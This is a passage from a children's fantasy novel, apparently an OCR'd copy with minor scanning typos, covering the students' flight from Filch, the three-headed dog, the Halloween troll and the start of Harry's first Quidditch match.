cases glimmered +where the moonlight caught them. Cups, shields, plates, and statues +winked silver and gold in the darkness. They edged along the walls, +keeping their eyes on the doors at either end of the room. Harry took +out his wand in case Malfoy leapt in and started at once. The minutes +crept by. + +"He's late, maybe he's chickened out," Ron whispered. + +Then a noise in the next room made them jump. Harry had only just raised +his wand when they heard someone speak -and it wasn't Malfoy. + +"Sniff around, my sweet, they might be lurking in a corner." + +It was Filch speaking to Mrs. Norris. Horror-struck, Harry waved madly +at the other three to follow him as quickly as possible; they scurried +silently toward the door, away from Filch's voice. Neville's robes had +barely whipped round the corner when they heard Filch enter the trophy +room. + +"They're in here somewhere," they heard him mutter, "probably hiding." + +"This way!" Harry mouthed to the others and, petrified, they began to +creep down a long gallery full of suits of armor. They could hear Filch +getting nearer. Neville suddenly let out a frightened squeak and broke +into a run -he tripped, grabbed Ron around the waist, and the pair of +them toppled right into a suit of armor. + +The clanging and crashing were enough to wake the whole castle. + +"RUN!" Harry yelled, and the four of them sprinted down the gallery, not +looking back to see whether Filch was following -- they swung around the +doorpost and galloped down one corridor then another, Harry in the lead, +without any idea where they were or where they were going -- they ripped +through a tapestry and found themselves in a hidden passageway, hurtled +along it and came out near their Charms classroom, which they knew was +miles from the trophy room. + +"I think we've lost him," Harry panted, leaning against the cold wall +and wiping his forehead. Neville was bent double, wheezing and +spluttering. + +I -- told -you," Hermione gasped, clutching at the stitch in her chest, +"I -- told -- you." + +"We've got to get back to Gryffindor tower," said Ron, "quickly as +possible." + +"Malfoy tricked you," Hermione said to Harry. "You realize that, don't +you? He was never going to meet you -- Filch knew someone was going to +be in the trophy room, Malfoy must have tipped him off." + +Harry thought she was probably right, but he wasn't going to tell her +that. + +"Let's go." + +It wasn't going to be that simple. They hadn't gone more than a dozen +paces when a doorknob rattled and something came shooting out of a +classroom in front of them. + +It was Peeves. He caught sight of them and gave a squeal of delight. + +"Shut up, Peeves -- please -- you'll get us thrown out." + +Peeves cackled. + +"Wandering around at midnight, Ickle Firsties? Tut, tut, tut. Naughty, +naughty, you'll get caughty." + +"Not if you don't give us away, Peeves, please." + +"Should tell Filch, I should," said Peeves in a saintly voice, but his +eyes glittered wickedly. "It's for your own good, you know." + +"Get out of the way," snapped Ron, taking a swipe at Peeves this was a +big mistake. + +"STUDENTS OUT OF BED!" Peeves bellowed, "STUDENTS OUT OF BED DOWN THE +CHARMS CORRIDOR" + +Ducking under Peeves, they ran for their lives, right to the end of the +corridor where they slammed into a door -- and it was locked. + +"This is it!" Ron moaned, as they pushed helplessly at the door, "We're +done for! This is the end!" They could hear footsteps, Filch running as +fast as he could toward Peeves's shouts. + +"Oh, move over," Hermione snarled. She grabbed Harry's wand, tapped the +lock, and whispered, 'Alohomora!" + +The lock clicked and the door swung open -- they piled through it, shut +it quickly, and pressed their ears against it, listening. + +"Which way did they go, Peeves?" Filch was saying. "Quick, tell me." + +"Say 'please."' + +"Don't mess with me, Peeves, now where did they go?" + +"Shan't say nothing if you don't say please," said Peeves in his +annoying singsong voice. + +"All right -please." + +"NOTHING! Ha haaa! Told you I wouldn't say nothing if you didn't say +please! Ha ha! Haaaaaa!" And they heard the sound of Peeves whooshing +away and Filch cursing in rage. + +"He thinks this door is locked," Harry whispered. "I think we'll be okay +-- get off, Neville!" For Neville had been tugging on the sleeve of +Harry's bathrobe for the last minute. "What?" + +Harry turned around -- and saw, quite clearly, what. For a moment, he +was sure he'd walked into a nightmare -- this was too much, on top of +everything that had happened so far. + +They weren't in a room, as he had supposed. They were in a corridor. The +forbidden corridor on the third floor. And now they knew why it was +forbidden. + +They were looking straight into the eyes of a monstrous dog, a dog that +filled the whole space between ceiling and floor. It had three heads. +Three pairs of rolling, mad eyes; three noses, twitching + +and quivering in their direction; three drooling mouths, saliva hanging +in slippery ropes from yellowish fangs. + +It was standing quite still, all six eyes staring at them, and Harry +knew that the only reason they weren't already dead was that their +sudden appearance had taken it by surprise, but it was quickly getting +over that, there was no mistaking what those thunderous growls meant. + +Harry groped for the doorknob -- between Filch and death, he'd take +Filch. + +They fell backward -- Harry slammed the door shut, and they ran, they +almost flew, back down the corridor. Filch must have hurried off to look +for them somewhere else, because they didn't see him anywhere, but they +hardly cared -- all they wanted to do was put as much space as possible +between them and that monster. They didn't stop running until they +reached the portrait of the Fat Lady on the seventh floor. + +"Where on earth have you all been?" she asked, looking at their +bathrobes hanging off their shoulders and their flushed, sweaty faces. + +"Never mind that -- pig snout, pig snout," panted Harry, and the +portrait swung forward. They scrambled into the common room and +collapsed, trembling, into armchairs. + +It was a while before any of them said anything. Neville, indeed, looked +as if he'd never speak again. + +"What do they think they're doing, keeping a thing like that locked up +in a school?" said Ron finally. "If any dog needs exercise, that one +does." + +Hermione had got both her breath and her bad temper back again. "You +don't use your eyes, any of you, do you?" she snapped. "Didn't you see +what it was standing on. + +"The floor?" Harry suggested. "I wasn't looking at its feet, I was too +busy with its heads." + +"No, not the floor. It was standing on a trapdoor. It's obviously +guarding something." + +She stood up, glaring at them. + +I hope you're pleased with yourselves. We could all have been killed -- +or worse, expelled. Now, if you don't mind, I'm going to bed." + +Ron stared after her, his mouth open. + +"No, we don't mind," he said. "You'd think we dragged her along, +wouldn't you. + +But Hermione had given Harry something else to think about as he climbed +back into bed. The dog was guarding something.... What had Hagrid said? +Gringotts was the safest place in the world for something you wanted to +hide -- except perhaps Hogwarts. + +It looked as though Harry had found out where the grubby littie package +from vault seven hundred and thirteen was. + + +CHAPTER TEN + +HALLOWEEN + +Malfoy couldn't believe his eyes when he saw that Harry and Ron were +still at Hogwarts the next day, looking tired but perfectly cheerful. +Indeed, by the next morning Harry and Ron thought that meeting the +three-headed dog had been an excellent adventure, and they were quite +keen to have another one. In the meantime, Harry filled Ron in about the +package that seemed to have been moved from Gringotts to Hogwarts, and +they spent a lot of time wondering what could possibly need such heavy +protection. "It's either really valuable or really dangerous," said Ron. +"Or both," said Harry. + + +But as all they knew for sure about the mysterious object was that it +was about two inches long, they didn't have much chance of guessing what +it was without further clues. + +Neither Neville nor Hermione showed the slightest interest in what lay +underneath the dog and the trapdoor. All Neville cared about was never +going near the dog again. + +Hermione was now refusing to speak to Harry and Ron, but she was such a +bossy know-it-all that they saw this as an added bonus. All they really +wanted now was a way of getting back at Malfoy, and to their great +delight, just such a thing arrived in the mail about a week later. + +As the owls flooded into the Great Hall as usual, everyone's attention +was caught at once by a long, thin package carried by six large screech +owls. Harry was just as interested as everyone else to see what was in +this large parcel, and was amazed when the owls soared down and dropped +it right in front of him, knocking his bacon to the floor. They had +hardly fluttered out of the way when another owl dropped a letter on top +of the parcel. + +Harry ripped open the letter first, which was lucky, because it said: + + +DO NOT OPEN THE PARCEL AT THE TABLE. + +It contains your new Nimbus Two Thousand, but I don't want everybody +knowing you've got a broomstick or they'll all want one. Oliver Wood +will meet you tonight on the Quidditch field at seven o'clock for your +first training session. + +Professor McGonagall + +Harry had difficulty hiding his glee as he handed the note to Ron to +read. + +"A Nimbus Two Thousand!" Ron moaned enviously. "I've never even touched +one." + +They left the hall quickly, wanting to unwrap the broomstick in private +before their first class, but halfway across the entrance hall they +found the way upstairs barred by Crabbe and Goyle. Malfoy seized the +package from Harry and felt it. + +"That's a broomstick," he said, throwing it back to Harry with a mixture +of jealousy and spite on his face. "You'll be in for it this time, +Potter, first years aren't allowed them." + +Ron couldn't resist it. + +"It's not any old broomstick," he said, "it's a Nimbus Two Thousand. +What did you say you've got at home, Malfoy, a Comet Two Sixty?" Ron +grinned at Harry. "Comets look flashy, but they're not in the same +league as the Nimbus." + +"What would you know about it, Weasley, you couldn't afford half the +handle," Malfoy snapped back. "I suppose you and your brothers have to +save up twig by twig." + +Before Ron could answer, Professor Flitwick appeared at Malfoy's elbow. + +"Not arguing, I hope, boys?" he squeaked. + +"Potter's been sent a broomstick, Professor," said Malfoy quickly. + +"Yes, yes, that's right," said Professor Flitwick, beaming at Harry. +"Professor McGonagall told me all about the special circumstances, +Potter. And what model is it?" + +"A Nimbus Two Thousand, sit," said Harry, fighting not to laugh at the +look of horror on Malfoy's face. "And it's really thanks to Malfoy here +that I've got it," he added. + +Harry and Ron headed upstairs, smothering their laughter at Malfoy's +obvious rage and confusion. "Well, it's true," Harry chortled as they +reached the top of the marble staircase, "If he hadn't stolen Neville's +Remembrall I wouln't be on the team...." + +"So I suppose you think that's a reward for breaking rules?" came an +angry voice from just behind them. Hermione was stomping up the stairs, +looking disapprovingly at the package in Harry's hand. + +"I thought you weren't speaking to us?" said Harry. + +"Yes, don't stop now," said Ron, "it's doing us so much good." + +Hermione marched away with her nose in the air. + +Harry had a lot of trouble keeping his mind on his lessons that day. It +kept wandering up to the dormitory where his new broomstick was lying +under his bed, or straying off to the Quidditch field where he'd be +learning to play that night. He bolted his dinner that evening without +noticing what he was eating, and then rushed upstairs with Ron to unwrap +the Nimbus Two Thousand at last. + +"Wow," Ron sighed, as the broomstick rolled onto Harry's bedspread. + +Even Harry, who knew nothing about the different brooms, thought it +looked wonderful. Sleek and shiny, with a mahogany handle, it had a long +tail of neat, straight twigs and Nimbus Two Thousand written in gold +near the top. + +As seven o'clock drew nearer, Harry left the castle and set off in the +dusk toward the Quidditch field. Held never been inside the stadium +before. Hundreds of seats were raised in stands around the field so that +the spectators were high enough to see what was going on. At either end +of the field were three golden poles with hoops on the end. They +reminded Harry of the little plastic sticks Muggle + +children blew bubbles through, except that they were fifty feet high. + +Too eager to fly again to wait for Wood, Harry mounted his broomstick +and kicked off from the ground. What a feeling -- he swooped in and out +of the goal posts and then sped up and down the field. The Nimbus Two +Thousand turned wherever he wanted at his lightest touch. + +"Hey, Potter, come down!' + +Oliver Wood had arrived. fie was carrying a large wooden crate under his +arm. Harry landed next to him. + +"Very nice," said Wood, his eyes glinting. "I see what McGonagall +meant... you really are a natural. I'm just going to teach you the rules +this evening, then you'll be joining team practice three times a week." + +He opened the crate. Inside were four different-sized balls. + +"Right," said Wood. "Now, Quidditch is easy enough to understand, even +if it's not too easy to play. There are seven players on each side. +Three of them are called Chasers." + +"Three Chasers," Harry repeated, as Wood took out a bright red ball +about the size of a soccer ball. + +"This ball's called the Quaffle," said Wood. "The Chasers throw the +Quaffle to each other and try and get it through one of the hoops to +score a goal. Ten points every time the Quaffle goes through one of the +hoops. Follow me?" + +"The Chasers throw the Quaffle and put it through the hoops to score," +Harry recited. "So -- that's sort of like basketball on broomsticks with +six hoops, isn't it?" + +"What's basketball?" said Wood curiously. "Never mind," said Harry +quickly. + +"Now, there's another player on each side who's called the Keeper -I'm +Keeper for Gryffindor. I have to fly around our hoops and stop the other +team from scoring." + +"Three Chasers, one Keeper," said Harry, who was determined to remember +it all. "And they play with the Quaffle. Okay, got that. So what are +they for?" He pointed at the three balls left inside the box. + +"I'll show you now," said Wood. "Take this." + +He handed Harry a small club, a bit like a short baseball bat. + +"I'm going to show you what the Bludgers do," Wood said. "These two are +the Bludgers." + +He showed Harry two identical balls, jet black and slightly smaller than +the red Quaffle. Harry noticed that they seemed to be straining to +escape the straps holding them inside the box. + +"Stand back," Wood warned Harry. He bent down and freed one of the +Bludgers. + +At once, the black ball rose high in the air and then pelted straight at +Harry's face. Harry swung at it with the bat to stop it from breaking +his nose, and sent it zigzagging away into the air -- it zoomed around +their heads and then shot at Wood, who dived on top of it and managed to +pin it to the ground. + +"See?" Wood panted, forcing the struggling Bludger back into the crate +and strapping it down safely. "The Bludgers rocket around, trying to +knock players off their brooms. That's why you have two Beaters on each +team -- the Weasley twins are ours -- it's their job to protect their +side from the Bludgers and try and knock them toward the other team. So +-- think you've got all that?" + +"Three Chasers try and score with the Quaffle; the Keeper guards the +goal posts; the Beaters keep the Bludgers away from their team," Harry +reeled off. + +"Very good," said Wood. + +"Er -- have the Bludgers ever killed anyone?" Harry asked, hoping he +sounded offhand. + +"Never at Hogwarts. We've had a couple of broken jaws but nothing worse +than that. Now, the last member of the team is the + +Seeker. That's you. And you don't have to worry about the Quaffle or the +Bludgers unless they crack my head open." + +"Don't worry, the Weasleys are more than a match for the Bludgers -- I +mean, they're like a pair of human Bludgers themselves." + +Wood reached into the crate and took out the fourth and last ball. +Compared with the Quaffle and the Bludgers, it was tiny, about the size +of a large walnut. It was bright gold and had little fluttering silver +wings. + +"This," said Wood, "is the Golden Snitch, and it's the most important +ball of the lot. It's very hard to catch because it's so fast and +difficult to see. It's the Seeker's job to catch it. You've got to weave +in and out of the Chasers, Beaters, Bludgers, and Quaffle to get it +before the other team's Seeker, because whichever Seeker catches the +Snitch wins his team an extra hundred and fifty points, so they + +nearly always win. That's why Seekers get fouled so much. A game of +Quidditch only ends when the Snitch is caught, so it can go on for ages +-- I think the record is three months, they had to keep bringing on +substitutes so the players could get some sleep. "Well, that's it -- any +questions?" + +Harry shook his head. He understood what he had to do all right, it was +doing it that was going to be the problem. + +"We won't practice with the Snitch yet," said Wood, carefully shutting +it back inside the crate, "it's too dark, we might lose it. Let's try +you out with a few of these." + +He pulled a bag of ordinary golf balls out of his pocket and a few +minutes later, he and Harry were up in the air, Wood throwing the golf +balls as hard as he could in every direction for Harry to catch. + +Harry didn't miss a single one, and Wood was delighted. After half an +hour, night had really fallen and they couldn't carry on. + +"That Quidditch cup'll have our name on it this year," said Wood happily +as they trudged back up to the castle. "I wouldn't be surprised if you +turn out better than Charlie Weasley, and he could have played for +England if he hadn't gone off chasing dragons." + +Perhaps it was because he was now so busy, what with Quidditch practice +three evenings a week on top of all his homework, but Harry could hardly +believe it when he realized that he'd already been at Hogwarts two +months. The castle felt more like home than Privet Drive ever had. His +lessons, too, were becoming more and more interesting now that they had +mastered the basics. + +On Halloween morning they woke to the delicious smell of baking pumpkin +wafting through the corridors. Even better, Professor Flitwick announced +in Charms that he thought they were ready to start making objects fly, +something they had all been dying to try since they'd seen him make +Neville's toad zoom around the classroom. Professor Flitwick put the +class into pairs to practice. Harry's partner was Seamus Finnigan (which +was a relief, because Neville had been trying to catch his eye). Ron, +however, was to be working with Hermione Granger. It was hard to tell +whether Ron or Hermione was angrier about this. She hadn't spoken to +either of them since the day Harry's broomstick had arrived. + +"Now, don't forget that nice wrist movement we've been practicing!" +squeaked Professor Flitwick, perched on top of his pile of books as +usual. "Swish and flick, remember, swish and flick. And saying the magic +words properly is very important, too -- never forget Wizard Baruffio, +who said 's' instead of 'f' and found himself on the floor with a +buffalo on his chest." + +It was very difficult. Harry and Seamus swished and flicked, but the +feather they were supposed to be sending skyward just lay on the +desktop. Seamus got so impatient that he prodded it with his wand and +set fire to it -- Harry had to put it out with his hat. + +Ron, at the next table, wasn't having much more luck. + +"Wingardium Leviosa!" he shouted, waving his long arms like a windmill. + +"You're saying it wrong," Harry heard Hermione snap. "It's Wing-gar-dium +Levi-o-sa, make the 'gar' nice and long." + + +"You do it, then, if you're so clever," Ron snarled. + +Hermione rolled up the sleeves of her gown, flicked her wand, and said, +"Wingardium Leviosa!" + +Their feather rose off the desk and hovered about four feet above their +heads. + +"Oh, well done!" cried Professor Flitwick, clapping. "Everyone see here, +Miss Granger's done it!" + +Ron was in a very bad mood by the end of the class. "It's no wonder no +one can stand her," he said to Harry as they pushed their way into the +crowded corridor, "she's a nightmare, honestly. " + +Someone knocked into Harry as they hurried past him. It was Hermione. +Harry caught a glimpse of her face -- and was startled to see that she +was in tears. + +"I think she heard you." + +"So?" said Ron, but he looked a bit uncomfortable. "She must've noticed +she's got no friends." + +Hermione didn't turn up for the next class and wasn't seen all +afternoon. On their way down to the Great Hall for the Halloween feast, +Harry and Ron overheard Parvati Patil telling her friend Lavender that +Hermione was crying in the girls' bathroom and wanted to be left alone. +Ron looked still more awkward at this, but a moment later they had +entered the Great Hall, where the Halloween decorations put Hermione out +of their minds. + +A thousand live bats fluttered from the walls and ceiling while a +thousand more swooped over the tables in low black clouds, making the +candles in the pumpkins stutter. The feast appeared suddenly on the +golden plates, as it had at the start-of-term banquet. + +Harry was just helping himself to a baked potato when Professor Quirrell +came sprinting into the hall, his turban askew and terror on his face. +Everyone stared as he reached Professor Dumbledore's chair, slumped +against the table, and gasped, "Troll -- in the dungeons -- thought you +ought to know." + +He then sank to the floor in a dead faint. + +There was an uproar. It took several purple firecrackers exploding from +the end of Professor Dumbledore's wand to bring silence. + +"Prefects," he rumbled, "lead your Houses back to the dormitories +immediately!" + +Percy was in his element. + +"Follow me! Stick together, first years! No need to fear the troll if +you follow my orders! Stay close behind me, now. Make way, first years +coming through! Excuse me, I'm a prefect!" + +"How could a troll get in?" Harry asked as they climbed the stairs. + +"Don't ask me, they're supposed to be really stupid," said Ron. "Maybe +Peeves let it in for a Halloween joke." + +They passed different groups of people hurrying in different directions. +As they jostled their way through a crowd of confused Hufflepuffs, Harry +suddenly grabbed Ron's arm. + +"I've just thought -- Hermione." + +"What about her?" + +"She doesn't know about the troll." + +Ron bit his lip. + +"Oh, all right," he snapped. "But Percy'd better not see us." + +Ducking down, they joined the Hufflepuffs going the other way, slipped +down a deserted side corridor, and hurried off toward the girls' +bathroom. They had just turned the corner when they heard quick +footsteps behind them. + +"Percy!" hissed Ron, pulling Harry behind a large stone griffin. + +Peering around it, however, they saw not Percy but Snape. He crossed the +corridor and disappeared from view. + +"What's he doing?" Harry whispered. "Why isn't he down in the dungeons +with the rest of the teachers?" + +"Search me." + +Quietly as possible, they crept along the next corridor after Snape's +fading footsteps. + +"He's heading for the third floor," Harry said, but Ron held up his +hand. + +"Can you smell something?" + +Harry sniffed and a foul stench reached his nostrils, a mixture of old +socks and the kind of public toilet no one seems to clean. + +And then they heard it -- a low grunting, and the shuffling footfalls of +gigantic feet. Ron pointed -- at the end of a passage to the left, +something huge was moving toward them. They shrank into the shadows and +watched as it emerged into a patch of moonlight. + +It was a horrible sight. Twelve feet tall, its skin was a dull, granite +gray, its great lumpy body like a boulder with its small bald head +perched on top like a coconut. It had short legs thick as tree trunks +with flat, horny feet. The smell coming from it was incredible. It was +holding a huge wooden club, which dragged along the floor because its +arms were so long. + +The troll stopped next to a doorway and peered inside. It waggled its +long ears, making up its tiny mind, then slouched slowly into the room. + +"The keys in the lock," Harry muttered. "We could lock it in." + +"Good idea," said Ron nervously. + +They edged toward the open door, mouths dry, praying the troll wasn't +about to come out of it. With one great leap, Harry managed to grab the +key, slam the door, and lock it. + +'Yes!" + +Flushed with their victory, they started to run back up the passage, but +as they reached the corner they heard something that made their hearts +stop -- a high, petrified scream -- and it was coming from the chamber +they'd just chained up. + +"Oh, no," said Ron, pale as the Bloody Baron. + +"It's the girls' bathroom!" Harry gasped. + +"Hermione!" they said together. + +It was the last thing they wanted to do, but what choice did they have? +Wheeling around, they sprinted back to the door and turned the key, +fumbling in their panic. Harry pulled the door open and they ran inside. + +Hermione Granger was shrinking against the wall opposite, looking as if +she was about to faint. The troll was advancing on her, knocking the +sinks off the walls as it went. + +"Confuse it!" Harry said desperately to Ron, and, seizing a tap, he +threw it as hard as he could against the wall. + +The troll stopped a few feet from Hermione. It lumbered around, blinking +stupidly, to see what had made the noise. Its mean little eyes saw +Harry. It hesitated, then made for him instead, lifting its club as it +went. + +"Oy, pea-brain!" yelled Ron from the other side of the chamber, and he +threw a metal pipe at it. The troll didn't even seem to notice the pipe +hitting its shoulder, but it heard the yell and paused again, turning +its ugly snout toward Ron instead, giving Harry time to run around it. + +"Come on, run, run!" Harry yelled at Hermione, trying to pull her toward +the door, but she couldn't move, she was still flat against the wall, +her mouth open with terror. + +The shouting and the echoes seemed to be driving the troll berserk. It +roared again and started toward Ron, who was nearest and had no way to +escape. + +Harry then did something that was both very brave and very stupid: He +took a great running jump and managed to fasten his arms around the +troll's neck from behind. The troll couldn't feel Harry hanging there, +but even a troll will notice if you stick a long bit of wood up its +nose, and Harry's wand had still been in his hand when he'd jumped -- it +had gone straight up one of the troll's nostrils. + +Howling with pain, the troll twisted and flailed its club, with Harry +clinging on for dear life; any second, the troll was going to rip him +off or catch him a terrible blow with the club. + +Hermione had sunk to the floor in fright; Ron pulled out his own wand -- +not knowing what he was going to do he heard himself cry the first spell +that came into his head: "Wingardium Leviosa!" + +The club flew suddenly out of the troll's hand, rose high, high up into +the air, turned slowly over -- and dropped, with a sickening crack, onto +its owner's head. The troll swayed on the spot and then fell flat on its +face, with a thud that made the whole room tremble. + +Harry got to his feet. He was shaking and out of breath. Ron was +standing there with his wand still raised, staring at what he had done. + +It was Hermione who spoke first. + +"Is it -- dead?" + +I don't think so," said Harry, I think it's just been knocked out." + +He bent down and pulled his wand out of the troll's nose. It was covered +in what looked like lumpy gray glue. + +"Urgh -- troll boogers." + +He wiped it on the troll's trousers. + +A sudden slamming and loud footsteps made the three of them look up. +They hadn't realized what a racket they had been making, but of course, +someone downstairs must have heard the crashes and the troll's roars. A +moment later, Professor McGonagall had come bursting into the room, +closely followed by Snape, with Quirrell bringing up the rear. Quirrell +took one look at the troll, let out a faint whimper, and sat quickly +down on a toilet, clutching his heart. + +Snape bent over the troll. Professor McGonagall was looking at Ron and +Harry. Harry had never seen her look so angry. Her lips were white. +Hopes of winning fifty points for Gryffindor faded quickly from Harry's +mind. + +"What on earth were you thinking of?" said Professor McGonagall, with +cold fury in her voice. Harry looked at Ron, who was still standing with +his wand in the air. "You're lucky you weren't killed. Why aren't you in +your dormitory?" + +Snape gave Harry a swift, piercing look. Harry looked at the floor. He +wished Ron would put his wand down. + +Then a small voice came out of the shadows. + +"Please, Professor McGonagall -- they were looking for me." + +"Miss Granger!" + +Hermione had managed to get to her feet at last. + +I went looking for the troll because I -- I thought I could deal with it +on my own -- you know, because I've read all about them." + +Ron dropped his wand. Hermione Granger, telling a downright lie to a +teacher? "If they hadn't found me, I'd be dead now. Harry stuck his wand +up its nose and Ron knocked it out with its own club. They didn't have +time to come and fetch anyone. It was about to finish me off when they +arrived." + +Harry and Ron tried to look as though this story wasn't new to them. + +"Well -- in that case..." said Professor McGonagall, staring at the +three of them, "Miss Granger, you foolish girl, how could you think of +tackling a mountain troll on your own?" + +Hermione hung her head. Harry was speechless. Hermione was the last +person to do anything against the rules, and here she was, pretending +she had, to get them out of trouble. It was as if Snape had started +handing out sweets. + +"Miss Granger, five points will be taken from Gryffindor for this," said +Professor McGonagall. "I'm very disappointed in you. If you're not hurt +at all, you'd better get off to Gryffindor tower. Students are finishing +the feast in their houses." + +Hermione left. + +Professor McGonagall turned to Harry and Ron. + +"Well, I still say you were lucky, but not many first years could have +taken on a full-grown mountain troll. You each win Gryffindor five +points. Professor Dumbledore will be informed of this. You may go." + +They hurried out of the chamber and didn't speak at all until they had +climbed two floors up. It was a relief to be away from the smell of the +troll, quite apart from anything else. + +"We should have gotten more than ten points," Ron grumbled. + +"Five, you mean, once she's taken off Hermione's." + +"Good of her to get us out of trouble like that," Ron admitted. "Mind +you, we did save her." + +"She might not have needed saving if we hadn't locked the thing in with +her," Harry reminded him. + +They had reached the portrait of the Fat Lady. + +"Pig snout," they said and entered. + +The common room was packed and noisy. Everyone was eating the food that +had been sent up. Hermione, however, stood alone by the door, waiting +for them. There was a very embarrassed pause. Then, none of them looking +at each other, they all said "Thanks," and hurried off to get plates. + +But from that moment on, Hermione Granger became their friend. There are +some things you can't share without ending up liking each other, and +knocking out a twelve-foot mountain troll is one of them. + + +CHAPTER ELEVEN + +QUIDDITCH + +As they entered November, the weather turned very cold. The mountains +around the school became icy gray and the lake like chilled steel. Every +morning the ground was covered in frost. Hagrid could be seen from the +upstairs windows defrosting broomsticks on the Quidditch field, bundled +up in a long moleskin overcoat, rabbit fur gloves, and enormous +beaverskin boots. + +The Quidditch season had begun. On Saturday, Harry would be playing in +his first match after weeks of training: Gryffindor versus Slytherin. If +Gryffindor won, they would move up into second place in the house +championship. + +Hardly anyone had seen Harry play because Wood had decided that, as +their secret weapon, Harry should be kept, well, secret. But the news +that he was playing Seeker had leaked out somehow, and Harry didn't know +which was worse -- people telling him he'd be brilliant or people +telling him they'd be running around underneath him holding a mattress. + +It was really lucky that Harry now had Hermlone as a friend. He didn't +know how he'd have gotten through all his homework without her, what +with all the last-minute Quidditch practice Wood was making them do. She +had also tent him Quidditch Through the Ages, which turned out to be a +very interesting read. + +Harry learned that there were seven hundred ways of committing a +Quidditch foul and that all of them had happened during a World Cup +match in 1473; that Seekers were usually the smallest and fastest +players, and that most serious Quidditch accidents seemed to happen to +them; that although people rarely died playing Quidditch, referees had +been known to vanish and turn up months later in the Sahara Desert. + +Hermione had become a bit more relaxed about breaking rules since Harry +and Ron had saved her from the mountain troll, and she was much nicer +for it. The day before Harry's first Quidditch match the three of them +were out in the freezing courtyard during break, and she had conjured +them up a bright blue fire that could be carried around in a jam jar. +They were standing with their backs to it, getting warm, when Snape +crossed the yard. Harry noticed at once that Snape was limping. Harry, +Ron, and Hermione moved closer together to block the fire from view; +they were sure it wouldn't be allowed. Unfortunately, something about +their guilty faces caught Snape's eye. He limped over. He hadn't seen +the fire, but he seemed to be looking for a reason to tell them off +anyway. + +"What's that you've got there, Potter?" + +It was Quidditch Through the Ages. Harry showed him. + +"Library books are not to be taken outside the school," said Snape. +"Give it to me. Five points from Gryffindor." + +"He's just made that rule up," Harry muttered angrily as Snape limped +away. "Wonder what's wrong with his leg?" + +"Dunno, but I hope it's really hurting him," said Ron bitterly. + +The Gryffindor common room was very noisy that evening. Harry, Ron, and +Hermione sat together next to a window. Hermione was checking Harry and +Ron's Charms homework for them. She would never let them copy ("How will +you learn?"), but by asking her to read it through, they got the right +answers anyway. + +Harry felt restless. He wanted Quidditch Through the Ages back, to take +his mind off his nerves about tomorrow. Why should he be afraid of +Snape? Getting up, he told Ron and Hermione he was going to ask Snape if +he could have it. + +"Better you than me," they said together, but Harry had an idea that +Snape wouldn't refuse if there were other teachers listening. + +He made his way down to the staffroom and knocked. There was no answer. +He knocked again. Nothing. + +Perhaps Snape had left the book in there? It was worth a try. He pushed +the door ajar and peered inside -- and a horrible scene met his eyes. + +Snape and Filch were inside, alone. Snape was holding his robes above +his knees. One of his legs was bloody and mangled. Filch was handing +Snape bandages. + +"Blasted thing*," Snape was saying. "How are you supposed to keep your +eyes on all three heads at once?" + +Harry tried to shut the door quietly, but -- + +"POTTER!" + +Snape's face was twisted with fury as he dropped his robes quickly to +hide his leg. Harry gulped. + +"I just wondered if I could have my book back." + +"GET OUT! OUT!" + +Harry left, before Snape could take any more points from Gryffindor. He +sprinted back upstairs. + +"Did you get it?" Ron asked as Harry joined them. "What's the matter?" + +In a low whisper, Harry told them what he'd seen. + +"You know what this means?" he finished breathlessly. "He tried to get +past that three-headed dog at Halloween! That's where he was going when +we saw him -- he's after whatever it's guarding! And Id bet my +broomstick he let that troll in, to make a diversion!" + +Hermione's eyes were wide. + +"No -- he wouldn't, she said. "I know he's not very nice, but he +wouldn't try and steal something Dumbledore was keeping safe." + +"Honestly, Hermione, you think all teachers are saints or something," +snapped Ron. "I'm with Harry. I wouldn't put anything past Snape. But +what's he after? What's that dog guarding?" + +Harry went to bed with his head buzzing with the same question. Neville +was snoring loudly, but Harry couldn't sleep. He tried to empty his mind +-- he needed to sleep, he had to, he had his first Quidditch match in a +few hours -- but the expression on Snape's face when Harry had seen his +leg wasn't easy to forget. + +The next morning dawned very bright and cold. The Great Hall was full of +the delicious smell of fried sausages and the cheer ful chatter of +everyone looking forward to a good Quidditch match. + +"You've got to eat some breakfast." + +"I don't want anything." + +"Just a bit of toast," wheedled Hermione. + +"I'm not hungry." + +Harry felt terrible. In an hour's time he'd be walking onto the field. + +"Harry, you need your strength," said Seamus Finnigan. "Seekers are +always the ones who get clobbered by the other team." + +"Thanks, Seamus," said Harry, watching Seamus pile ketchup on his +sausages. + +By eleven o'clock the whole school seemed to be out in the stands around +the Quidditch pitch. Many students had binoculars. The seats might be +raised high in the air, but it was still difficult to see what was going +on sometimes. + +Ron and Hermione joined Neville, Seamus, and Dean the West Ham fan up in +the top row. As a surprise for Harry, they had painted a large banner on +one of the sheets Scabbers had ruined. It said Potter for President, and +Dean, who was good at drawing, had done a large Gryffindor lion +underneath. Then Hermione had performed a tricky little charm so that +the paint flashed different colors. + +Meanwhile, in the locker room, Harry and the rest of the team were +changing into their scarlet Quidditch robes (Slytherin would be playing +in green). + +Wood cleared his throat for silence. + +"Okay, men," he said. + +"And women," said Chaser Angelina Johnson. + +"And women," Wood agreed. "This is it." + +"The big one," said Fred Weasley. + +"The one we've all been waiting for," said George. + +"We know Oliver's speech by heart," Fred told Harry, "we were on the +team last year." + +"Shut up, you two," said Wood. "This is the best team Gryffindor's had +in years. We're going to win. I know it." + +He glared at them all as if to say, "Or else." + +"Right. It's time. Good luck, all of you." + +Harry followed Fred and George out of the locker room and, hoping his +knees weren't going to give way, walked onto the field to loud cheers. + +Madam Hooch was refereeing. She stood in the middle of the field waiting +for the two teams, her broom in her hand. + +"Now, I want a nice fair game, all of you," she said, once they were all +gathered around her. Harry noticed that she seemed to be speaking +particularly to the Slytherin Captain, Marcus Flint, a sixth year. Harry +thought Flint looked as if he had some troll blood in him. Out of the +corner of his eye he saw the fluttering banner high above, flashing +Potter for President over the crowd. His heart skipped. He felt braver. + +"Mount your brooms, please." + +Harry clambered onto his Nimbus Two Thousand. + +Madam Hooch gave a loud blast on her silver whistle. + +Fifteen brooms rose up, high, high into the air. They were off. "And the +Quaffle is taken immediately by Angelina Johnson of Gryffindor -- what +an excellent Chaser that girl is, and rather attractive, too --" + +"JORDAN!" + +"Sorry, Professor." + +The Weasley twins' friend, Lee Jordan, was doing the commentary for the +match, closely watched by Professor McGonagall. + +"And she's really belting along up there, a neat pass to Alicia Spinnet, +a good find of Oliver Wood's, last year only a reserve -- back to +Johnson and -- no, the Slytherins have taken the Quaffle, Slytherin +Captain Marcus Flint gains the Quaffle and off he goes -- Flint flying +like an eagle up there -- he's going to sc- no, stopped by an excellent +move by Gryffindor Keeper Wood and the Gryffindors take the Quaffle -- 